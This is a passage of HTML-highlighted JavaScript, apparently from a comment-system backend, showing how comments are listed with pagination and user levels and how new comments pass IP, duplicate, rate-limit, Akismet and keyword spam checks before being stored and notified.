class="keyword">if</span> (think.<span class="title function_">isEmpty</span>(userInfo) || <span class="variable language_">this</span>.<span class="title function_">config</span>(<span class="string">&#x27;storage&#x27;</span>) === <span class="string">&#x27;deta&#x27;</span>) &#123;</span><br><span class="line">          where.<span class="property">status</span> = [<span class="string">&#x27;NOT IN&#x27;</span>, [<span class="string">&#x27;waiting&#x27;</span>, <span class="string">&#x27;spam&#x27;</span>]];</span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> (userInfo.<span class="property">type</span> !== <span class="string">&#x27;administrator&#x27;</span>) &#123;</span><br><span class="line">          where.<span class="property">_complex</span> = &#123;</span><br><span class="line">            <span class="attr">_logic</span>: <span class="string">&#x27;or&#x27;</span>,</span><br><span class="line">            <span class="attr">status</span>: [<span class="string">&#x27;NOT IN&#x27;</span>, [<span class="string">&#x27;waiting&#x27;</span>, <span class="string">&#x27;spam&#x27;</span>]],</span><br><span class="line">            <span class="attr">user_id</span>: userInfo.<span class="property">objectId</span>,</span><br><span class="line">          &#125;;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">const</span> totalCount = <span class="keyword">await</span> <span class="variable language_">this</span>.<span class="property">modelInstance</span>.<span class="title function_">count</span>(where);</span><br><span class="line">        <span class="keyword">const</span> pageOffset = <span class="title class_">Math</span>.<span class="title function_">max</span>((page - <span class="number">1</span>) * pageSize, <span class="number">0</span>);</span><br><span class="line">        <span class="keyword">let</span> comments = [];</span><br><span class="line">        <span class="keyword">let</span> rootComments = [];</span><br><span class="line">        <span class="keyword">let</span> rootCount = <span class="number">0</span>;</span><br><span class="line">        <span class="keyword">const</span> selectOptions = &#123;</span><br><span class="line">          <span class="attr">desc</span>: <span class="string">&#x27;insertedAt&#x27;</span>,</span><br><span class="line">          <span class="attr">field</span>: [</span><br><span class="line">            <span class="string">&#x27;status&#x27;</span>,</span><br><span class="line">            <span class="string">&#x27;comment&#x27;</span>,</span><br><span class="line">            <span class="string">&#x27;insertedAt&#x27;</span>,</span><br><span class="line">            <span class="string">&#x27;link&#x27;</span>,</span><br><span class="line">            <span class="string">&#x27;mail&#x27;</span>,</span><br><span class="line">            <span class="string">&#x27;nick&#x27;</span>,</span><br><span class="line">            <span class="string">&#x27;pid&#x27;</span>,</span><br><span class="line">            <span class="string">&#x27;rid&#x27;</span>,</span><br><span class="line">            <span class="string">&#x27;ua&#x27;</span>,</span><br><span class="line">            <span class="string">&#x27;ip&#x27;</span>,</span><br><span class="line">            <span class="string">&#x27;user_id&#x27;</span>,</span><br><span class="line">            <span class="string">&#x27;sticky&#x27;</span>,</span><br><span class="line">            <span class="string">&#x27;like&#x27;</span>,</span><br><span class="line">          ],</span><br><span class="line">        &#125;;</span><br><span class="line"></span><br><span class="line">        <span class="comment">/**</span></span><br><span class="line"><span class="comment">         * most of case we have just little comments</span></span><br><span class="line"><span class="comment">         * while if we want get rootComments, rootCount, childComments with pagination</span></span><br><span class="line"><span class="comment">         * we have to query three times from storage service</span></span><br><span class="line"><span class="comment">         * That&#x27;s so expensive for user, especially in the serverless.</span></span><br><span class="line"><span class="comment">         * so we have a comments length check</span></span><br><span class="line"><span class="comment">         * If you have less than 1000 comments, then we&#x27;ll get all comments one time</span></span><br><span class="line"><span class="comment">         * then we&#x27;ll compute rootComment, rootCount, childComments in program to reduce http request query</span></span><br><span class="line"><span class="comment">         *</span></span><br><span class="line"><span class="comment">         * Why we have limit and the limit is 1000?</span></span><br><span class="line"><span class="comment">         * Many serverless storages have fetch data limit, for example LeanCloud is 100, and CloudBase is 1000</span></span><br><span class="line"><span class="comment">         * If we have much commments, We should use more request to fetch all comments</span></span><br><span class="line"><span class="comment">         * If we have 3000 comments, We have to use 30 http request to fetch comments, things go athwart.</span></span><br><span class="line"><span class="comment">         * And Serverless Service like vercel have excute time limit</span></span><br><span class="line"><span class="comment">         * if we have more http requests in a serverless function, it may timeout easily.</span></span><br><span class="line"><span class="comment">         * so we use limit to avoid it.</span></span><br><span class="line"><span class="comment">         */</span></span><br><span class="line">        <span class="keyword">if</span> (totalCount &lt; <span class="number">1000</span>) &#123;</span><br><span class="line">          comments = <span class="keyword">await</span> <span class="variable language_">this</span>.<span class="property">modelInstance</span>.<span class="title function_">select</span>(where, selectOptions);</span><br><span class="line">          rootCount = comments.<span class="title function_">filter</span>(<span class="function">(<span class="params">&#123; rid &#125;</span>) =&gt;</span> !rid).<span class="property">length</span>;</span><br><span class="line">          rootComments = [</span><br><span class="line">            ...comments.<span class="title function_">filter</span>(<span class="function">(<span class="params">&#123; rid, sticky &#125;</span>) =&gt;</span> !rid &amp;&amp; sticky),</span><br><span class="line">            ...comments.<span class="title function_">filter</span>(<span class="function">(<span class="params">&#123; rid, sticky &#125;</span>) =&gt;</span> !rid &amp;&amp; !sticky),</span><br><span class="line">          ].<span class="title function_">slice</span>(pageOffset, pageOffset + pageSize);</span><br><span class="line">          <span class="keyword">const</span> rootIds = &#123;&#125;;</span><br><span class="line"></span><br><span class="line">          rootComments.<span class="title function_">forEach</span>(<span class="function">(<span class="params">&#123; objectId &#125;</span>) =&gt;</span> &#123;</span><br><span class="line">            rootIds[objectId] = <span class="literal">true</span>;</span><br><span class="line">          &#125;);</span><br><span class="line">          comments = comments.<span class="title function_">filter</span>(</span><br><span class="line">            <span class="function">(<span class="params">cmt</span>) =&gt;</span> rootIds[cmt.<span class="property">objectId</span>] || rootIds[cmt.<span class="property">rid</span>]</span><br><span class="line">          );</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">          rootComments = <span class="keyword">await</span> <span class="variable language_">this</span>.<span class="property">modelInstance</span>.<span class="title function_">select</span>(</span><br><span class="line">            &#123; ...where, <span class="attr">rid</span>: <span class="literal">undefined</span> &#125;,</span><br><span class="line">            &#123;</span><br><span class="line">              ...selectOptions,</span><br><span class="line">              <span class="attr">offset</span>: pageOffset,</span><br><span class="line">              <span class="attr">limit</span>: pageSize,</span><br><span class="line">            &#125;</span><br><span class="line">          );</span><br><span class="line">          <span class="keyword">const</span> children = <span class="keyword">await</span> <span class="variable language_">this</span>.<span class="property">modelInstance</span>.<span class="title function_">select</span>(</span><br><span class="line">            &#123;</span><br><span class="line">              ...where,</span><br><span class="line">              <span class="attr">rid</span>: [<span class="string">&#x27;IN&#x27;</span>, rootComments.<span class="title function_">map</span>(<span class="function">(<span class="params">&#123; objectId &#125;</span>) =&gt;</span> objectId)],</span><br><span class="line">            &#125;,</span><br><span class="line">            selectOptions</span><br><span class="line">          );</span><br><span class="line"></span><br><span class="line">          comments = [...rootComments, ...children];</span><br><span class="line">          rootCount = <span class="keyword">await</span> <span class="variable language_">this</span>.<span class="property">modelInstance</span>.<span class="title function_">count</span>(&#123;</span><br><span class="line">            ...where,</span><br><span class="line">            <span class="attr">rid</span>: <span class="literal">undefined</span>,</span><br><span class="line">          &#125;);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">const</span> userModel = <span class="variable language_">this</span>.<span class="title function_">service</span>(</span><br><span class="line">          <span class="string">`storage/<span class="subst">$&#123;<span class="variable language_">this</span>.config(<span class="string">&#x27;storage&#x27;</span>)&#125;</span>`</span>,</span><br><span class="line">          <span class="string">&#x27;Users&#x27;</span></span><br><span class="line">        );</span><br><span class="line">        <span class="keyword">const</span> user_ids = <span class="title class_">Array</span>.<span class="title function_">from</span>(</span><br><span class="line">          <span class="keyword">new</span> <span class="title class_">Set</span>(comments.<span class="title function_">map</span>(<span class="function">(<span class="params">&#123; user_id &#125;</span>) =&gt;</span> user_id).<span class="title function_">filter</span>(<span class="function">(<span class="params">v</span>) =&gt;</span> v))</span><br><span class="line">        );</span><br><span class="line">        <span class="keyword">let</span> users = [];</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (user_ids.<span class="property">length</span>) &#123;</span><br><span class="line">          users = <span class="keyword">await</span> userModel.<span class="title function_">select</span>(</span><br><span class="line">            &#123; <span class="attr">objectId</span>: [<span class="string">&#x27;IN&#x27;</span>, user_ids] &#125;,</span><br><span class="line">            &#123;</span><br><span class="line">              <span class="attr">field</span>: [</span><br><span class="line">                <span class="string">&#x27;display_name&#x27;</span>,</span><br><span class="line">                <span class="string">&#x27;email&#x27;</span>,</span><br><span class="line">                <span class="string">&#x27;url&#x27;</span>,</span><br><span class="line">                <span class="string">&#x27;type&#x27;</span>,</span><br><span class="line">                <span class="string">&#x27;avatar&#x27;</span>,</span><br><span class="line">                <span class="string">&#x27;label&#x27;</span>,</span><br><span class="line">              ],</span><br><span class="line">            &#125;</span><br><span class="line">          );</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (think.<span class="title function_">isArray</span>(<span class="variable language_">this</span>.<span class="title function_">config</span>(<span class="string">&#x27;levels&#x27;</span>))) &#123;</span><br><span class="line">          <span class="keyword">const</span> countWhere = &#123;</span><br><span class="line">            <span class="attr">status</span>: [<span class="string">&#x27;NOT IN&#x27;</span>, [<span class="string">&#x27;waiting&#x27;</span>, <span class="string">&#x27;spam&#x27;</span>]],</span><br><span class="line">            <span class="attr">_complex</span>: &#123;&#125;,</span><br><span class="line">          &#125;;</span><br><span class="line"></span><br><span class="line">          <span class="keyword">if</span> (user_ids.<span class="property">length</span>) &#123;</span><br><span class="line">            countWhere.<span class="property">_complex</span>.<span class="property">user_id</span> = [<span class="string">&#x27;IN&#x27;</span>, user_ids];</span><br><span class="line">          &#125;</span><br><span class="line">          <span class="keyword">const</span> mails = <span class="title class_">Array</span>.<span class="title function_">from</span>(</span><br><span class="line">            <span class="keyword">new</span> <span class="title class_">Set</span>(comments.<span class="title function_">map</span>(<span class="function">(<span class="params">&#123; mail &#125;</span>) =&gt;</span> mail).<span class="title function_">filter</span>(<span class="function">(<span class="params">v</span>) =&gt;</span> v))</span><br><span class="line">          );</span><br><span class="line"></span><br><span class="line">          <span class="keyword">if</span> (mails.<span class="property">length</span>) &#123;</span><br><span class="line">            countWhere.<span class="property">_complex</span>.<span class="property">mail</span> = [<span class="string">&#x27;IN&#x27;</span>, mails];</span><br><span class="line">          &#125;</span><br><span class="line">          <span class="keyword">if</span> (!think.<span class="title function_">isEmpty</span>(countWhere.<span class="property">_complex</span>)) &#123;</span><br><span class="line">            countWhere.<span class="property">_complex</span>.<span class="property">_logic</span> = <span class="string">&#x27;or&#x27;</span>;</span><br><span class="line">          &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">delete</span> countWhere.<span class="property">_complex</span>;</span><br><span class="line">          &#125;</span><br><span class="line">          <span class="keyword">const</span> counts = <span class="keyword">await</span> <span class="variable language_">this</span>.<span class="property">modelInstance</span>.<span class="title function_">count</span>(countWhere, &#123;</span><br><span class="line">            <span class="attr">group</span>: [<span class="string">&#x27;user_id&#x27;</span>, <span class="string">&#x27;mail&#x27;</span>],</span><br><span class="line">          &#125;);</span><br><span class="line"></span><br><span class="line">          comments.<span class="title function_">forEach</span>(<span class="function">(<span class="params">cmt</span>) =&gt;</span> &#123;</span><br><span class="line">            <span class="keyword">const</span> countItem = (counts || []).<span class="title function_">find</span>(<span class="function">(<span class="params">&#123; mail, user_id &#125;</span>) =&gt;</span> &#123;</span><br><span class="line">              <span class="keyword">if</span> (cmt.<span class="property">user_id</span>) &#123;</span><br><span class="line">                <span class="keyword">return</span> user_id === cmt.<span class="property">user_id</span>;</span><br><span class="line">              &#125;</span><br><span class="line"></span><br><span class="line">              <span class="keyword">return</span> mail === cmt.<span class="property">mail</span>;</span><br><span class="line">            &#125;);</span><br><span class="line"></span><br><span class="line">            <span class="keyword">let</span> level = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span> (countItem) &#123;</span><br><span class="line">              <span class="keyword">const</span> _level = think.<span class="title function_">findLastIndex</span>(</span><br><span class="line">                <span class="variable language_">this</span>.<span class="title function_">config</span>(<span class="string">&#x27;levels&#x27;</span>),</span><br><span class="line">                <span class="function">(<span class="params">l</span>) =&gt;</span> l &lt;= countItem.<span class="property">count</span></span><br><span class="line">              );</span><br><span class="line"></span><br><span class="line">              <span class="keyword">if</span> (_level !== -<span class="number">1</span>) &#123;</span><br><span class="line">                level = _level;</span><br><span class="line">              &#125;</span><br><span class="line">            &#125;</span><br><span class="line">            cmt.<span class="property">level</span> = level;</span><br><span class="line">          &#125;);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">json</span>(&#123;</span><br><span class="line">          page,</span><br><span class="line">          <span class="attr">totalPages</span>: <span class="title class_">Math</span>.<span class="title function_">ceil</span>(rootCount / pageSize),</span><br><span class="line">          pageSize,</span><br><span class="line">          <span class="attr">count</span>: totalCount,</span><br><span class="line">          <span class="attr">data</span>: <span class="keyword">await</span> <span class="title class_">Promise</span>.<span class="title function_">all</span>(</span><br><span class="line">            rootComments.<span class="title function_">map</span>(<span class="title function_">async</span> (comment) =&gt; &#123;</span><br><span class="line">              <span class="keyword">const</span> cmt = <span class="keyword">await</span> <span class="title function_">formatCmt</span>(</span><br><span class="line">                comment,</span><br><span class="line">                users,</span><br><span class="line">                <span class="variable language_">this</span>.<span class="title function_">config</span>(),</span><br><span class="line">                userInfo</span><br><span class="line">              );</span><br><span class="line"></span><br><span class="line">              cmt.<span class="property">children</span> = <span class="keyword">await</span> <span class="title class_">Promise</span>.<span class="title function_">all</span>(</span><br><span class="line">                comments</span><br><span class="line">                  .<span class="title function_">filter</span>(<span class="function">(<span class="params">&#123; rid &#125;</span>) =&gt;</span> rid === cmt.<span class="property">objectId</span>)</span><br><span class="line">                  .<span class="title function_">map</span>(<span class="function">(<span class="params">cmt</span>) =&gt;</span> <span class="title function_">formatCmt</span>(cmt, users, <span class="variable language_">this</span>.<span class="title function_">config</span>(), userInfo))</span><br><span class="line">                  .<span class="title function_">reverse</span>()</span><br><span class="line">              );</span><br><span class="line"></span><br><span class="line">              <span class="keyword">return</span> cmt;</span><br><span class="line">            &#125;)</span><br><span class="line">          ),</span><br><span class="line">        &#125;);</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">async</span> <span class="title function_">postAction</span>(<span class="params"></span>) &#123;</span><br><span class="line">    think.<span class="property">logger</span>.<span class="title function_">debug</span>(<span class="string">&#x27;Post Comment Start!&#x27;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">const</span> &#123; comment, link, mail, nick, pid, rid, ua, url, at &#125; = <span class="variable language_">this</span>.<span class="title function_">post</span>();</span><br><span class="line">    <span class="keyword">const</span> data = &#123;</span><br><span class="line">      link,</span><br><span class="line">      mail,</span><br><span class="line">      nick,</span><br><span class="line">      pid,</span><br><span class="line">      rid,</span><br><span class="line">      ua,</span><br><span class="line">      url,</span><br><span class="line">      comment,</span><br><span class="line">      <span class="attr">ip</span>: <span class="variable language_">this</span>.<span class="property">ctx</span>.<span class="property">ip</span>,</span><br><span class="line">      <span class="attr">insertedAt</span>: <span class="keyword">new</span> <span class="title class_">Date</span>(),</span><br><span class="line">      <span class="attr">user_id</span>: <span class="variable language_">this</span>.<span class="property">ctx</span>.<span class="property">state</span>.<span class="property">userInfo</span>.<span class="property">objectId</span>,</span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (pid) &#123;</span><br><span class="line">      data.<span class="property">comment</span> = <span class="string">`[@<span class="subst">$&#123;at&#125;</span>](#<span class="subst">$&#123;pid&#125;</span>): `</span> + data.<span class="property">comment</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    think.<span class="property">logger</span>.<span class="title function_">debug</span>(<span class="string">&#x27;Post Comment initial Data:&#x27;</span>, data);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">const</span> &#123; userInfo &#125; = <span class="variable language_">this</span>.<span class="property">ctx</span>.<span class="property">state</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (!userInfo || userInfo.<span class="property">type</span> !== <span class="string">&#x27;administrator&#x27;</span>) &#123;</span><br><span class="line">      <span class="comment">/** IP disallowList */</span></span><br><span class="line">      <span class="keyword">const</span> &#123; disallowIPList &#125; = <span class="variable language_">this</span>.<span class="title function_">config</span>();</span><br><span class="line"></span><br><span class="line">      <span class="keyword">if</span> (</span><br><span class="line">        think.<span class="title function_">isArray</span>(disallowIPList) &amp;&amp;</span><br><span class="line">        disallowIPList.<span class="property">length</span> &amp;&amp;</span><br><span class="line">        disallowIPList.<span class="title function_">includes</span>(data.<span class="property">ip</span>)</span><br><span class="line">      ) &#123;</span><br><span class="line">        think.<span class="property">logger</span>.<span class="title function_">debug</span>(<span class="string">`Comment IP <span class="subst">$&#123;data.ip&#125;</span> is in disallowIPList`</span>);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="property">ctx</span>.<span class="keyword">throw</span>(<span class="number">403</span>);</span><br><span class="line">      &#125;</span><br><span class="line"></span><br><span class="line">      think.<span class="property">logger</span>.<span class="title function_">debug</span>(<span class="string">`Comment IP <span class="subst">$&#123;data.ip&#125;</span> check OK!`</span>);</span><br><span class="line"></span><br><span class="line">      <span class="comment">/** Duplicate content detect */</span></span><br><span class="line">      <span class="keyword">const</span> duplicate = <span class="keyword">await</span> <span class="variable language_">this</span>.<span class="property">modelInstance</span>.<span class="title function_">select</span>(&#123;</span><br><span class="line">        url,</span><br><span class="line">        <span class="attr">mail</span>: data.<span class="property">mail</span>,</span><br><span class="line">        <span class="attr">nick</span>: data.<span class="property">nick</span>,</span><br><span class="line">        <span class="attr">link</span>: data.<span class="property">link</span>,</span><br><span class="line">        <span class="attr">comment</span>: data.<span class="property">comment</span>,</span><br><span class="line">      &#125;);</span><br><span class="line"></span><br><span class="line">      <span class="keyword">if</span> (!think.<span class="title function_">isEmpty</span>(duplicate)) &#123;</span><br><span class="line">        think.<span class="property">logger</span>.<span class="title function_">debug</span>(</span><br><span class="line">          <span class="string">&#x27;The comment author had post same comment content before&#x27;</span></span><br><span class="line">        );</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">fail</span>(<span class="variable language_">this</span>.<span class="title function_">locale</span>(<span class="string">&#x27;Duplicate Content&#x27;</span>));</span><br><span class="line">      &#125;</span><br><span class="line"></span><br><span class="line">      think.<span class="property">logger</span>.<span class="title function_">debug</span>(<span class="string">&#x27;Comment duplicate check OK!&#x27;</span>);</span><br><span class="line"></span><br><span class="line">      <span class="comment">/** IP Frequence */</span></span><br><span class="line">      <span class="keyword">const</span> &#123; <span class="variable constant_">IPQPS</span> = <span class="number">60</span> &#125; = process.<span class="property">env</span>;</span><br><span class="line"></span><br><span class="line">      <span class="keyword">const</span> recent = <span class="keyword">await</span> <span class="variable language_">this</span>.<span class="property">modelInstance</span>.<span class="title function_">select</span>(&#123;</span><br><span class="line">        <span class="attr">ip</span>: <span class="variable language_">this</span>.<span class="property">ctx</span>.<span class="property">ip</span>,</span><br><span class="line">        <span class="attr">insertedAt</span>: [<span class="string">&#x27;&gt;&#x27;</span>, <span class="keyword">new</span> <span class="title class_">Date</span>(<span class="title class_">Date</span>.<span class="title function_">now</span>() - <span class="variable constant_">IPQPS</span> * <span class="number">1000</span>)],</span><br><span class="line">      &#125;);</span><br><span class="line"></span><br><span class="line">      <span class="keyword">if</span> (!think.<span class="title function_">isEmpty</span>(recent)) &#123;</span><br><span class="line">        think.<span class="property">logger</span>.<span class="title function_">debug</span>(<span class="string">`The author has posted in <span class="subst">$&#123;IPQPS&#125;</span> seconeds.`</span>);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">fail</span>(<span class="variable language_">this</span>.<span class="title function_">locale</span>(<span class="string">&#x27;Comment too fast!&#x27;</span>));</span><br><span class="line">      &#125;</span><br><span class="line"></span><br><span class="line">      think.<span class="property">logger</span>.<span class="title function_">debug</span>(<span class="string">`Comment post frequence check OK!`</span>);</span><br><span class="line"></span><br><span class="line">      <span class="comment">/** Akismet */</span></span><br><span class="line">      <span class="keyword">const</span> &#123; <span class="variable constant_">COMMENT_AUDIT</span>, <span class="variable constant_">AUTHOR_EMAIL</span>, <span class="variable constant_">BLOGGER_EMAIL</span> &#125; = process.<span class="property">env</span>;</span><br><span class="line">      <span class="keyword">const</span> <span class="variable constant_">AUTHOR</span> = <span class="variable constant_">AUTHOR_EMAIL</span> || <span class="variable constant_">BLOGGER_EMAIL</span>;</span><br><span class="line">      <span class="keyword">const</span> isAuthorComment = <span class="variable constant_">AUTHOR</span></span><br><span class="line">        ? data.<span class="property">mail</span>.<span class="title function_">toLowerCase</span>() === <span class="variable constant_">AUTHOR</span>.<span class="title function_">toLowerCase</span>()</span><br><span class="line">        : <span class="literal">false</span>;</span><br><span class="line"></span><br><span class="line">      data.<span class="property">status</span> = <span class="variable constant_">COMMENT_AUDIT</span> &amp;&amp; !isAuthorComment ? <span class="string">&#x27;waiting&#x27;</span> : <span class="string">&#x27;approved&#x27;</span>;</span><br><span class="line"></span><br><span class="line">      think.<span class="property">logger</span>.<span class="title function_">debug</span>(<span class="string">`Comment initial status is <span class="subst">$&#123;data.status&#125;</span>`</span>);</span><br><span class="line"></span><br><span class="line">      <span class="keyword">if</span> (data.<span class="property">status</span> === <span class="string">&#x27;approved&#x27;</span>) &#123;</span><br><span class="line">        <span class="keyword">const</span> spam = <span class="keyword">await</span> <span class="title function_">akismet</span>(data, <span class="variable language_">this</span>.<span class="property">ctx</span>.<span class="property">serverURL</span>).<span class="title function_">catch</span>(<span class="function">(<span class="params">e</span>) =&gt;</span></span><br><span class="line">          <span class="variable language_">console</span>.<span class="title function_">log</span>(e)</span><br><span class="line">        ); <span class="comment">// ignore akismet error</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (spam === <span class="literal">true</span>) &#123;</span><br><span class="line">          data.<span class="property">status</span> = <span class="string">&#x27;spam&#x27;</span>;</span><br><span class="line">        &#125;</span><br><span class="line">      &#125;</span><br><span class="line"></span><br><span class="line">      think.<span class="property">logger</span>.<span class="title function_">debug</span>(<span class="string">`Comment akismet check result: <span class="subst">$&#123;data.status&#125;</span>`</span>);</span><br><span class="line"></span><br><span class="line">      <span class="keyword">if</span> (data.<span class="property">status</span> !== <span class="string">&#x27;spam&#x27;</span>) &#123;</span><br><span class="line">        <span class="comment">/** KeyWord Filter */</span></span><br><span class="line">        <span class="keyword">const</span> &#123; forbiddenWords &#125; = <span class="variable language_">this</span>.<span class="title function_">config</span>();</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (!think.<span class="title function_">isEmpty</span>(forbiddenWords)) &#123;</span><br><span class="line">          <span class="keyword">const</span> regexp = <span class="keyword">new</span> <span class="title class_">RegExp</span>(<span class="string">&#x27;(&#x27;</span> + forbiddenWords.<span class="title function_">join</span>(<span class="string">&#x27;|&#x27;</span>) + <span class="string">&#x27;)&#x27;</span>, <span class="string">&#x27;ig&#x27;</span>);</span><br><span class="line"></span><br><span class="line">          <span class="keyword">if</span> (regexp.<span class="title function_">test</span>(comment)) &#123;</span><br><span class="line">            data.<span class="property">status</span> = <span class="string">&#x27;spam&#x27;</span>;</span><br><span class="line">          &#125;</span><br><span class="line">        &#125;</span><br><span class="line">      &#125;</span><br><span class="line"></span><br><span class="line">      think.<span class="property">logger</span>.<span class="title function_">debug</span>(<span class="string">`Comment keyword check result: <span class="subst">$&#123;data.status&#125;</span>`</span>);</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">      data.<span class="property">status</span> = <span class="string">&#x27;approved&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">const</span> preSaveResp = <span class="keyword">await</span> <span class="variable language_">this</span>.<span class="title function_">hook</span>(<span class="string">&#x27;preSave&#x27;</span>, data);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (preSaveResp) &#123;</span><br><span class="line">      <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">fail</span>(preSaveResp.<span class="property">errmsg</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    think.<span class="property">logger</span>.<span class="title function_">debug</span>(<span class="string">`Comment post hooks preSave done!`</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">const</span> resp = <span class="keyword">await</span> <span class="variable language_">this</span>.<span class="property">modelInstance</span>.<span class="title function_">add</span>(data);</span><br><span class="line"></span><br><span class="line">    think.<span class="property">logger</span>.<span class="title function_">debug</span>(<span class="string">`Comment have been added to storage.`</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">let</span> parentComment;</span><br><span class="line">    <span class="keyword">let</span> parentUser;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (pid) &#123;</span><br><span class="line">      parentComment = <span class="keyword">await</span> <span class="variable language_">this</span>.<span class="property">modelInstance</span>.<span class="title function_">select</span>(&#123; <span class="attr">objectId</span>: pid &#125;);</span><br><span class="line">      parentComment = parentComment[<span class="number">0</span>];</span><br><span class="line">      <span class="keyword">if</span> (parentComment.<span class="property">user_id</span>) &#123;</span><br><span class="line">        parentUser = <span class="keyword">await</span> <span class="variable language_">this</span>.<span class="title function_">model</span>(<span class="string">&#x27;User&#x27;</span>).<span class="title function_">select</span>(&#123;</span><br><span class="line">          <span class="attr">objectId</span>: parentComment.<span class="property">user_id</span>,</span><br><span class="line">        &#125;);</span><br><span class="line">        parentUser = parentUser[<span class="number">0</span>];</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">await</span> <span class="variable language_">this</span>.<span class="property">ctx</span>.<span class="title function_">webhook</span>(<span class="string">&#x27;new_comment&#x27;</span>, &#123;</span><br><span class="line">      <span class="attr">comment</span>: &#123; ...resp, <span class="attr">rawComment</span>: comment &#125;,</span><br><span class="line">      <span class="attr">reply</span>: parentComment,</span><br><span class="line">    &#125;);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">const</span> cmtReturn = <span class="keyword">await</span> <span class="title function_">formatCmt</span>(</span><br><span class="line">      resp,</span><br><span class="line">      [userInfo],</span><br><span class="line">      <span class="variable language_">this</span>.<span class="title function_">config</span>(),</span><br><span class="line">      userInfo</span><br><span class="line">    );</span><br><span class="line">    <span class="keyword">const</span> parentReturn = parentComment</span><br><span class="line">      ? <span class="keyword">await</span> <span class="title function_">formatCmt</span>(</span><br><span class="line">          parentComment,</span><br><span class="line">          parentUser ? [parentUser] : [],</span><br><span class="line">          <span class="variable language_">this</span>.<span class="title function_">config</span>(),</span><br><span class="line">          userInfo</span><br><span class="line">        )</span><br><span class="line">      : <span class="literal">undefined</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (comment.<span class="property">status</span> !== <span class="string">&#x27;spam&#x27;</span>) &#123;</span><br><span class="line">      <span class="keyword">const</span> notify = <span class="variable language_">this</span>.<span class="title function_">service</span>(<span class="string">&#x27;notify&#x27;</span>);</span><br><span class="line"></span><br><span class="line">      <span class="keyword">await</span> notify.<span class="title function_">run</span>(</span><br><span class="line">        &#123;</span><br><span class="line">          ...cmtReturn,</span><br><span class="line">          <span class="attr">mail</span>: resp.<span class="property">mail</span>,</span><br><span class="line">          <span class="attr">rawComment</span>: comment,</span><br><span class="line">          <span class="attr">ip</span>: data.<span class="property">ip</span>,</span><br><span class="line">          <span class="attr">equip</span>: data.<span class="property">ua</span>,</span><br><span class="line">        &#125;,</span><br><span class="line">        parentReturn</span><br><span class="line">          ? &#123; ...parentReturn, <span class="attr">mail</span>: parentComment.<span class="property">mail</span> &#125;</span><br><span class="line">          : <span class="literal">undefined</span>,</span><br><span class="line">        <span class="literal">false</span></span><br><span class="line">      );</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    think.<span class="property">logger</span>.<span class="title function_">debug</span>(<span class="string">`Comment notify done!`</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">await</span> <span class="variable language_">this</span>.<span class="title function_">hook</span>(<span class="string">&#x27;postSave&#x27;</span>, resp, parentComment);</span><br><span class="line"></span><br><span class="line">    think.<span class="property">logger</span>.<span class="title function_">debug</span>(<span class="string">`Comment post hooks postSave done!`</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">success</span>(</span><br><span class="line">      <span class="keyword">await</span> <span class="title function_">formatCmt</span>(resp, [userInfo], <span class="variable language_">this</span>.<span class="title function_">config</span>(), userInfo)</span><br><span class="line">    );</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">async</span> <span class="title function_">putAction</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="keyword">const</span> &#123; userInfo &#125; = <span class="variable language_">this</span>.<span class="property">ctx</span>.<span class="property">state</span>;</span><br><span class="line">    <span class="keyword">let</span> data = <span class="variable language_">this</span>.<span class="title function_">post</span>();</span><br><span class="line">    <span class="keyword">let</span> oldData = <span class="keyword">await</span> <span class="variable language_">this</span>.<span class="property">modelInstance</span>.<span class="title function_">select</span>(&#123; <span class="attr">objectId</span>: <span class="variable language_">this</span>.<span class="property">id</span> &#125;);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (think.<span class="title function_">isEmpty</span>(oldData)) &#123;</span><br><span class="line">      <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">success</span>();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    oldData = oldData[<span class="number">0</span>];</span><br><span class="line">    <span class="keyword">if</span> (think.<span class="title 